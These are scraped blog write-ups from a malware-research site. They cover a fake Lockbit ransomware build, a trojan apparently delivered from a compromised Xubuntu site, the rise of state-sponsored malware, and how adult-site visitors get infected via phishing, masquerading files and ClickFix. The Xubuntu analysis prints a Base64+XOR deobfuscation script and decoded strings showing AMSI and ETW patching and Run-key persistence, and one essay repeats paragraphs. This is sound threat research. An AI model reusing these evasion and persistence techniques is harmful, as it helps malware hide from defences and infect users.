![](https://malwaresourcecode.com/home/~gitbook/image?url=https%3A%2F%2F1909493350-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FgMMhrryVZFTw609ivOju%252Fuploads%252F54QxeA3xuSQvjzSojwAc%252F1.png%3Falt%3Dmedia%26token%3D3da18a9c-ace9-4938-a18c-8f452c20e1bb&width=768&dpr=4&quality=100&sign=63ba842a&sv=2) ![](https://malwaresourcecode.com/home/~gitbook/image?url=https%3A%2F%2F1909493350-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FgMMhrryVZFTw609ivOju%252Fuploads%252FWRY2clTbpXummpPySoRV%252F2.jpeg%3Falt%3Dmedia%26token%3Da8095765-40c0-4386-af94-42f7cd4befbe&width=768&dpr=4&quality=100&sign=bf1f2cba&sv=2) The 2nd image is a picture the ransomware operator sent to me. This is the exact code I received from this unknown person. How did this ransomware operator have the exact same code I have and how did they know it used a batch file for building? The source code was written by someone with the intention of impersonating Lockbit ransomware group during ransomware incidents. Furthermore, it was sold to Threat Actors for $3,000 with the expectation of exclusivity. ![](https://malwaresourcecode.com/home/~gitbook/image?url=https%3A%2F%2F1909493350-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FgMMhrryVZFTw609ivOju%252Fuploads%252FQz16KodSc2COATwKZQfI%252F3.jpeg%3Falt%3Dmedia%26token%3D9ea93126-937e-4962-aa67-a7197474fc39&width=768&dpr=4&quality=100&sign=422901d3&sv=2) tl;dr ransomware group impersonating a ransomware group by using code from an old ransomware group. It is a 3 layer lasagna of ransomware. Whether or not this has been deployed in the wild I'm unsure of. More research is required. Collaboration is required, or retrohunting, or something. I don't know. [PreviousWhy do video games use kernel-mode anti-cheats?](https://malwaresourcecode.com/home/my-projects/write-ups/why-do-video-games-use-kernel-mode-anti-cheats) [NextWtf are these Threat Actors doing? XUbuntu malware is dumb and stinky](https://malwaresourcecode.com/home/my-projects/write-ups/wtf-are-these-threat-actors-doing-xubuntu-malware-is-dumb-and-stinky) Last updated 1 month ago --- # Wtf are these Threat Actors doing? XUbuntu malware is dumb and stinky | malware source code Yesterday night before I went to bed I saw [@sysadafterdark](https://x.com/sysadafterdark) write they suspected Xubuntu-dot-org was compromised and potentially delivering malware. I said, "whoa, that's badass", and was excited to look into it this morning. Link to Reddit thread :[https://www.reddit.com/r/xubuntu/comments/1oa43gt/xubuntuorg\_might\_be\_compromised/](https://www.reddit.com/r/xubuntu/comments/1oa43gt/xubuntuorg_might_be_compromised/) What the fuck am I looking at? The website download no longer words. However, I saw people share the initial file hash: Copy ec3a45882d8734fcff4a0b8654d702c6de8834b6532b821c083c1591a0217826 I pulled the file, opened it with CFF explorer, and saw it was .NET based. Cool beans. ILSpy it is. I open this slop of fuckin' shit in ILspy and see these goobers doing literally zero obfuscation on the binary. However, this is clearly masquerading malware based off of the silly GUI they wrote for it. I look at the GUI, and look at the code, and it's pretty obvious what they're doing. These goobers have a generic GUI that triggers a malicious action when the unsuspecting victims clicks the "Generate Click" button. ![](https://malwaresourcecode.com/home/~gitbook/image?url=https%3A%2F%2F1909493350-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FgMMhrryVZFTw609ivOju%252Fuploads%252FJjuTfFfiKnpc7axSGOYZ%252FG3nwLSsXwAAV3MQ.png%3Falt%3Dmedia%26token%3Dc18cb63d-f8c9-4004-bff9-c36ccc2525d2&width=768&dpr=4&quality=100&sign=5225936a&sv=2) Okay, let's look at this fuckin' thing now... and yeah, it's definitely trying to be malware. There is no denying it. But, is it good malware? (SPOILER: No, it's not. This is dumb and stinky). ![](https://malwaresourcecode.com/home/~gitbook/image?url=https%3A%2F%2F1909493350-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FgMMhrryVZFTw609ivOju%252Fuploads%252F7Xe851D5p9PvRyMIAa0n%252FG3nwvhsW4AAemIa.png%3Falt%3Dmedia%26token%3Dd17bf02e-bce1-4c89-9435-65542ba88437&width=768&dpr=4&quality=100&sign=de098519&sv=2) This is very clearly Base64 encoding ("==" at the end). The function "Xs" clearly decodes the Base64 encoding. However, Base64 encoding doesn't have a key (as you can see they named the variable). When you look at there "Xs" function it's literally just Base64 encoding + Xor with a key of 247. ![](https://malwaresourcecode.com/home/~gitbook/image?url=https%3A%2F%2F1909493350-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FgMMhrryVZFTw609ivOju%252Fuploads%252FUFTRp0lXWnf6mXc7uX5V%252FG3nxRyWWwAALnQz.png%3Falt%3Dmedia%26token%3Dc1f79273-935b-4936-b3c6-8652bdeb0711&width=768&dpr=4&quality=100&sign=7eb2363f&sv=2) If you make some ghetto ass Python script you can deobfuscate all these strings in .02 seconds with this shit I wrote (replace "b" variable with the lame encoding) and you end up getting this shit: They also decided to Base64 + Xor an entire binary in their GUI (as you can see in the image) ![](https://malwaresourcecode.com/home/~gitbook/image?url=https%3A%2F%2F1909493350-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FgMMhrryVZFTw609ivOju%252Fuploads%252FzRlM72EbLZ8xDkbv0kH7%252FG3nzDMvWgAApSv6.png%3Falt%3Dmedia%26token%3Ddcf56026-2808-4d8f-804d-682376ea25f6&width=768&dpr=4&quality=100&sign=845d16f2&sv=2) You can tell also because when you deobfuscate it using the shit Python script I shared, you can see the MZ header it all of it's glory. ![](https://malwaresourcecode.com/home/~gitbook/image?url=https%3A%2F%2F1909493350-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FgMMhrryVZFTw609ivOju%252Fuploads%252FeixDt0weqv5Lz0GYpb4L%252FG3nzViKWIAEwFTV.png%3Falt%3Dmedia%26token%3D16dc2d52-77b0-454a-8cc3-ed7ed1313137&width=768&dpr=4&quality=100&sign=a021f06c&sv=2) **TLDR first binary from Xubuntu is a GUI disguised as an application that will ... help you download Xubuntu ... ? It's written in C#.NET and has a cute GUI. The malware payload only triggers when the generate button is clicked. When the generate button is clicked it writes the actual malware payload (stage 2) to disk. It also sets the malware payload to run at start.** Stage 2 file hash: Stage 2 made me depressed. I looked out the window and cried. I played "Paint It Black" by Rolling Stones and contemplated the duality of life. I don't even feel like writing this anymore. I'll just include a screenshot of the binaries IAT and yell. In summary, stage 2 is a really simple and small binary. It listens to the clipboard and replaces ... strings. THAT'S IT ![](https://malwaresourcecode.com/home/~gitbook/image?url=https%3A%2F%2F1909493350-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FgMMhrryVZFTw609ivOju%252Fuploads%252FT56OYd4iYkqto3AVKalB%252FG3n0xD7WgAAsb3q.png%3Falt%3Dmedia%26token%3D063a896d-bdc9-4b3d-828a-bc6b68afbe65&width=768&dpr=4&quality=100&sign=b66fa3d0&sv=2) I double checked the first malware payload and the second malware payload. This thing setups callback routines ([AddClipboardFormatListener](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-addclipboardformatlistener) ) but ... THAT'S IT Trying to swap destination crypto addresses and wallets .. AND THAT'S IT?! You compromised a large website, you could have tailored this for Linux malware, some specially crafted Windows malware, a data stealer, ransomware, ... fucking SOMETHING. All you did was try to replace crypto stuff from the fuckin' clipboard? Dawg, you had ONE SHOT, ONE OPPORTUNITY and you let it slip God, I hope I'm wrong and I missed something. ![](https://malwaresourcecode.com/home/~gitbook/image?url=https%3A%2F%2F1909493350-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FgMMhrryVZFTw609ivOju%252Fuploads%252F5SKJUahU5HmmINy2YaqH%252FG3n2ZrwWEAAq5-o.jpg%3Falt%3Dmedia%26token%3Da42fabb9-c4ea-441a-902d-b5b2be6205ca&width=768&dpr=4&quality=100&sign=89d038c0&sv=2) [PreviousFake Lockbit 5.0 silliness and 3 layers of ransomware lasagna](https://malwaresourcecode.com/home/my-projects/write-ups/fake-lockbit-5.0-silliness-and-3-layers-of-ransomware-lasagna) [NextThe rise of malware mainstream "acceptance" and "popularity" is thanks to the government](https://malwaresourcecode.com/home/my-projects/write-ups/the-rise-of-malware-mainstream-acceptance-and-popularity-is-thanks-to-the-government) Last updated 12 days ago Copy import base64 b = "lpqEntmTm5s=" k = 247 decoded = base64.b64decode(b) deobfuscated = bytes(x ^ k for x in decoded) print(deobfuscated.decode("utf-8", errors="ignore")) Copy amsi.dll AmsiScanBuffer kernel32 VirtualProtect 1 ntdll EtwEventWrite osn10963 elzvcf.exe Software\Microsoft\Windows\CurrentVersion\Run Copy afaebc6cf20f32ea0644f69c511a5da12f3b860f7d13b18500051830337965d7 --- # The rise of malware mainstream "acceptance" and "popularity" is thanks to the government | malware source code No, that isn't sarcasm. Previously I wrote a semi-rhetorical post asking, "What the fuck happened? Why is malware cool and badass now?". I was happy to read the comment section where some people suggested I (or the vx-underground collective) was responsible for the mainstream (information security "mainstream") acceptance of malware. Unfortunately this isn't accurate. I wish it were, but I'm not that cool and badass. It would be inaccurate to assert myself, or our collective, as the single determining factor which resulted in it's acceptance. If you review the vx-underground APT (Advanced Persistent Threat) collection you'll notice something interesting. Year after year the volume of APT activity being documented continues to grow. We now see hundreds of documented APT engagements a year whereas before 2010 it didn't really\* exist (\*it existed, but wasn't documented, rarely acknowledged, or rarely spoken about). To establish context, APT (Advanced Persistent Threat) is a special designated term used to define a malware family or Threat Group as being state-sponsored. In other words, APT's are government hackers (the military, or military contractors) working to establish and accomplish a military objective. This means our APT collection, which dates back to 2010, can illustrate the growth of government state-sponsored cyber activity. Before we continue to the next segment I need to make something as clear as possible because it causes a great deal of confusion. Something being labeled an "APT" does NOT mean it is "Advanced". Anyone who studies state-sponsored activity can tell you many APT's are not advanced. In fact, some APT's make amateur mistakes. Sometimes we witness financially motivated Threat Groups being more sophisticated than some governments! In regards to APT's though, the term "Advanced Persistent Threat" is more assigning the adjective "Advanced" to the word "Persistent". A Threat Group may be persistent in nature, meaning they're financially or politically motivated and remain active, but an APT will remain "Persistent" in it's military objectives. A Threat Group may be apprehended by law enforcement but, in contrast, the likelihood of the Democratic People's Republic of Korea (DPRK, North Korea), state-sponsored Computer Network Operators (CNO, their "Hackers") all successfully being arrested and their government ceasing military operations is effectively ZERO. Basically, a government isn't going away. Other Threat Groups may go away, die, or be arrested. Sometime in the twenty-teens (2013 - 2019), we witnessed a surge of governments becoming more active\* online (\*military objectives being digitally based, on the internet). Ultimately, governments became aware that it is strategically a better decision to switch away from traditional espionage (someone being physically present), and leaning into the digital era by committing digital espionage. It is arguably easier, safer, and provides much more plausible deniability. Beside espionage, you can also see destructive campaigns, or malware which targets Industrial Control Systems (Nuclear Reactors, Electrical Power Plants), but we (probably) shouldn't go down that rabbit hole too far because the APT activity discussion will boil down to geopolitical ideologies. No, that isn't sarcasm. Previously I wrote a semi-rhetorical post asking, "What the fuck happened? Why is malware cool and badass now?". I was happy to read the comment section where some people suggested I (or the vx-underground collective) was responsible for the mainstream (information security "mainstream") acceptance of malware. Unfortunately this isn't accurate. I wish it were, but I'm not that cool and badass. It would be inaccurate to assert myself, or our collective, as the single determining factor which resulted in it's acceptance. If you review the vx-underground APT (Advanced Persistent Threat) collection you'll notice something interesting. Year after year the volume of APT activity being documented continues to grow. We now see hundreds of documented APT engagements a year whereas before 2010 it didn't really\* exist (_it existed, but wasn't documented, rarely acknowledged, or rarely spoken about). To establish context, APT (Advanced Persistent Threat) is a special designated term used to define a malware family or Threat Group as being state-sponsored. In other words, APT's are government hackers (the military, or military contractors) working to establish and accomplish a military objective. This means our APT collection, which dates back to 2010, can illustrate the growth of government state-sponsored cyber activity. Before we continue to the next segment I need to make something as clear as possible because it causes a great deal of confusion. Something being labeled an "APT" does NOT mean it is "Advanced". Anyone who studies state-sponsored activity can tell you many APT's are not advanced. In fact, some APT's make amateur mistakes. Sometimes we witness financially motivated Threat Groups being more sophisticated than some governments! In regards to APT's though, the term "Advanced Persistent Threat" is more assigning the adjective "Advanced" to the word "Persistent". A Threat Group may be persistent in nature, meaning they're financially or politically motivated and remain active, but an APT will remain "Persistent" in it's military objectives. A Threat Group may be apprehended by law enforcement but, in contrast, the likelihood of the Democratic People's Republic of Korea (DPRK, North Korea), state-sponsored Computer Network Operators (CNO, their "Hackers") all successfully being arrested and their government ceasing military operations is effectively ZERO. Basically, a government isn't going away. Other Threat Groups may go away, die, or be arrested. Sometime in the twenty-teens (2013 - 2019), we witnessed a surge of governments becoming more active_ online (\*military objectives being digitally based, on the internet). Ultimately, governments became aware that it is strategically a better decision to switch away from traditional espionage (someone being physically present), and leaning into the digital era by committing digital espionage. It is arguably easier, safer, and provides much more plausible deniability. Beside espionage, you can also see destructive campaigns, or malware which targets Industrial Control Systems (Nuclear Reactors, Electrical Power Plants), but we (probably) shouldn't go down that rabbit hole too far because the APT activity discussion will boil down to geopolitical ideologies. Coinciding with this increased government activity, we also witnessed the creation of "Red Tool Teams", such as Cobalt Strike (being created around 2012, although technically earlier), and it's usage in enterprise environments. As government activity became more active, the private-sector also established the need to enhance their security posture. This "need" isn't necessarily the governments doing, but the timeline ties together for an obvious reason: everything is digital, online, and interconnected. As state-sponsored active ramped up for the digital era, so did financially motivated Threat Actors. Hence, the cybersecurity industry had to "adapt" to this "change" (adapt, and change, emphasizing malware). Cybersecurity practitioners had to be concerned about both financially motivated Threat Actors and also (depending on their industry) state-sponsored Threat Actors. It was this time when the "first" (technically debatable) ransomware variants began to appear (Reveton ransomware). This appearance is also sometimes correlated to the rise of cryptocurrencies as "ransomware" was much more difficult to achieve prior to the raise of cryptocurrencies. Going down this rabbit hole is a different story, for a different time! t was around 2016, give or take, you'll notice a shift. We began seeing the usage of Cobalt Strike (Red Team Tools) being used by Threat Actors ([as you can see here](http://web.archive.org/web/20191222232319/https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks) ). Likewise you see the emergence of ransomware (Petya, and shortly after NotPetya). You'll also see a strange uptick in state-sponsored activity around this time. 2010 - 8 documented APT campaigns 2011 - 14 documented APT campaigns 2012 - 27 documented APT campaigns 2013 - 29 documented APT campaigns 2014 - 28 documented APT campaigns 2015 - 125 documented APT campaigns 2016 - 125 documented APT campaigns ... 2024 - 355 documented APT campaigns Where is all of this going? Cybersecurity practitioners are actively witnessing a shift in the ecosystem. Within the past 10 years state-sponsored activity doubled. Ransomware is rampant, with the emergence of Lockbit ransomware, the ALPHV family (RansomHub, ALPHV, BlackMatter, etc), and the sub-groups acting within these families such as the infamous Scattered Spider. All of this concludes with a simple idea. Malware is everywhere. The governments are writing malware. Red Teamers need to write malware; good malware, evasive malware, or malware which mimics that which a state-sponsored and/or financially motivated group would deploy. This emulation is a requirement to test defenders. They must be prepared to defend against group(s) which will get "dirty", employ unusual tactics, and weaponize things which traditionally not meant to be weaponized (Malware: System Components and Abuse). In my case with vx-underground, I created vx-underground during the midst of this change. I decided to create a website which documented malware techniques, malware samples, malware source code, etc. right in the midst of this metaphorical malware explosion. Hence, when people began looking for a resource to adapt to this change, I was sitting there ... by complete accident... Moving forward malware will continue to be a major player in the cybersecurity industry. Ransomware is not going away. Information Stealers are not going away. State-sponsored groups will only go away if a government collapses. The future of malware is difficult to predict. However, seeing the trend of "engines", such as Polymorphic engines and Metamorphic engines, being "replaced" with traditional RATs, to then have them being replaced with Python scripts (compiled as .EXE) is interesting. Ultimately, these malicious Python malware payloads were replaced with Go, or Rust. There was a blip of LOLBIN ("Fileless" malware). There is the trend of BYOVD. We see the re-emergence of RTLO-malware, "binary inflation", and the recycling of dropping .XLL payloads. What's old is new, what's new is old. Malware is cool now because cybersecurity is changing. The governments used it for espionage. Threat Groups are more focused on money more than ever. Malware must be studied and understood to be prepared to defend against these bad actors. tl;dr malware is cool and badass [PreviousWtf are these Threat Actors doing? XUbuntu malware is dumb and stinky](https://malwaresourcecode.com/home/my-projects/write-ups/wtf-are-these-threat-actors-doing-xubuntu-malware-is-dumb-and-stinky) [NextCan "adult" websites actually "infect" your computer?](https://malwaresourcecode.com/home/my-projects/write-ups/can-adult-websites-actually-infect-your-computer) Last updated 12 days ago --- # Can "adult" websites actually "infect" your computer? | malware source code Following a post made about the recent UK laws on requiring ID verification to view "adult" websites I saw some posts about how malware (malicious software) is of little consequence to end users. I saw someone say something interesting. ![](https://malwaresourcecode.com/home/~gitbook/image?url=https%3A%2F%2F1909493350-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FgMMhrryVZFTw609ivOju%252Fuploads%252FNBDVcUkOy0slywueLOfu%252FGxGGjTcXEAAgdip.png%3Falt%3Dmedia%26token%3D199d4f1f-e002-47cd-8883-feb1c1e16aa8&width=768&dpr=4&quality=100&sign=5936df6c&sv=2) Well, is Runix's statement true? The answer is both: Yes, but well no. They're correct in the assessment that it isn't 1999 anymore. "Drive by" malware, such as getting malware from simply visiting a website, isn't really a thing anymore (due to improvements in browser and computer security). Furthermore, rootkits don't really exist in the modern cybersecurity ecosystem (different conversation for a different time if you're curious). Moreover, they're also correct in the assessment it is extremely unlikely a Threat Actor will find and abuse a web-browser exploit on a home user (rare and extremely valuable). Regardless of these statements, malware is very much still a threat to end users. Following the statement from Runix25, user Glaukko made an interesting statement too. ![](https://malwaresourcecode.com/home/~gitbook/image?url=https%3A%2F%2F1909493350-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FgMMhrryVZFTw609ivOju%252Fuploads%252FFjIl0zh5MAW5YaRxLmFi%252FGxGH4AFWYAAzPsJ.png%3Falt%3Dmedia%26token%3D7cb24838-e235-4dea-bf1d-5e5eef03d404&width=768&dpr=4&quality=100&sign=e7f70900&sv=2) Is Glaukko's assessment correct? Sort of, they're getting closer. Let's back up first and look at some numbers. Currently vx-underground possesses a "malware ingestion" system whereas we collect malware from the internet. This malware typically targets home users. Sometimes we get lucky and get malware which is designed to target companies. If we're extremely lucky we get malware which is designed to target governments. Our malware ingestion system is extremely primitive. We ingest roughly 25,000 - 100,000 malware payloads a day. However, large companies and organizations, such as Google's VirusTotal ingest (on the conservative end) 200,000 - 1,000,000 malware payloads a day. Malware is rampant. Malware is everywhere. This malware doesn't come from nowhere. This malware is from online Threat Actors (cybercriminals) who are (usually) financially motivated, with some exceptions such as state-sponsored Threat Actors (malware written from governments to target people, organizations, or other governments). Malware targeting people who are viewing adult-content is going to be financially motivated criminals. This malware will (probably) lack sophistication and will (probably) aim to steal sensitive documents off your computer (such as [Lumma Stealer](https://www.eset.com/blog/en/business-topics/threat-landscape/lumma-stealer-threat/) or [Redline Stealer](https://www.justice.gov/usao-wdtx/pr/us-joins-international-action-against-redline-and-meta-infostealers) ). This is important to note because understanding who is the adversary can help paint a picture on how they're (probably) going to operate. So how will they do it? Probably one of the following: All the methods described here are already rampant and usually follow trends. For example, when Ross Ulbricht was released from prison, there were multiple malware campaigns (operations by Threat Actors to target people) aimed to infect people with malware. Likewise, we see malware campaigns which follow events for politicians, video games, movies, adult-content, etc. 1. Phishing A Threat Actor will leave comments on social media, on forums, blogs, etc. to advertise a website which allows "ID free adult content". The website will appear to be a legitimate adult content site. The adult site will lie and say it can get you adult content by signing in using e-mail, or social media. It will request you sign in. Social media sites and e-mails nowadays usually have MFA (2FA), so this fake adult website will do additional prompts following your entering your credentials to ensure they can maintain persistent access. Once this is done the fake adult website will "fail" or redirect to a different website. Following this, the Threat Actor will have access to your e-mail, social media, etc. which will then be used for: * Spam campaigns * Cryptocurrency scams * Pivot, use your e-mail to get access to other sensitive content * If you work from home, they'll try to pivot to your work documents They'll probably also use something like [EvilGinx](https://evilginx.com/) to make their lives easier. EvilGinx, a legitimate tool, is often used to do the exact operation I described. You can read about it here: [https://abnormal.ai/blog/cybercriminals-evilginx-mfa-bypass](https://abnormal.ai/blog/cybercriminals-evilginx-mfa-bypass) 1. File Masquerading You'll (probably) see files online which will appear as .exe files (Windows executables) or APK files (Android apps) which will claim to be ID bypass tools. They'll tell you to run the tool as administrator and to disable any security products on your machine. This sort of file masquerading and social engineering is extremely common with fake video game cheats and fake movies downloads. Once the user downloads the malicious file, the instructions provided will make it "easy" to run the program. Upon execution the "tool" (malware) will ensure all security programs are disabled. If they're not disabled, it'll try to disable it itself. Subsequently, it'll download the actual malware. They'll probably use something like [SmokeLoader](https://attack.mitre.org/software/S0226/) 1. ClickFix (v1 or v2), FileFix ClickFix (and any variant) is trendy right now. ClickFix is the name of a malicious technique used to trick people into download and executing malware. ClickFix is a fake "authentication" technique. When you visit a website it'll tell you verify you're a human (or "adult") by following a simple guide on the screen. It has been hyper-effective at convincing people to execute malicious code. In essence, visiting the website will load something onto the clipboard (the mechanism on your computer for copying things, CTRL+V shortcut). Then, the website will instruct you to perform basic tasks to authenticate which will detonate the malware. Examples of ClickFix below: ![](https://malwaresourcecode.com/home/~gitbook/image?url=https%3A%2F%2F1909493350-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FgMMhrryVZFTw609ivOju%252Fuploads%252FyNwihD5tTsncjHaj6oma%252FGxGQQQ2X0AAoT4a.png%3Falt%3Dmedia%26token%3D8b8b7923-87ec-4888-aeb6-741f27111ce0&width=768&dpr=4&quality=100&sign=46064bf2&sv=2) ![](https://malwaresourcecode.com/home/~gitbook/image?url=https%3A%2F%2F1909493350-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FgMMhrryVZFTw609ivOju%252Fuploads%252FKzCpNWuOx2pzAlyyBkwW%252FGxGQSfKW4AAg8sv.jpg%3Falt%3Dmedia%26token%3Dc66afe5b-8ddb-4bc5-afe7-9e935b355023&width=768&dpr=4&quality=100&sign=782eff1c&sv=2) ![](https://malwaresourcecode.com/home/~gitbook/image?url=https%3A%2F%2F1909493350-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FgMMhrryVZFTw609ivOju%252Fuploads%252F3twC1ZTXKF7FthW9DDp7%252FGxGQuHaW0AEyciU.png%3Falt%3Dmedia%26token%3Da30dc8a1-84f6-421f-b024-3d35b1372c36&width=768&dpr=4&quality=100&sign=24c4b238&sv=2) That is how it'll be done to trick users into executing malware. Likewise, there will be some creativity in this stuff too. Like Glaukko said we'll certainly see scam pop-ups and malicious pop-ups too. The pop-ups will do some of the things I've described above. They're correct users won't magically get malware. What will happen is users will become frustrated with needing to be identified and go elsewhere for adult content. These "alternatives" will be littered with traps to deliver malware payloads. Thanks for coming to my Ted Talk [PreviousThe rise of malware mainstream "acceptance" and "popularity" is thanks to the government](https://malwaresourcecode.com/home/my-projects/write-ups/the-rise-of-malware-mainstream-acceptance-and-popularity-is-thanks-to-the-government) Last updated 12 days ago Copy 1. Phishing 2. File masquerading 3. ClickFix (v1 or v2), FileFix ---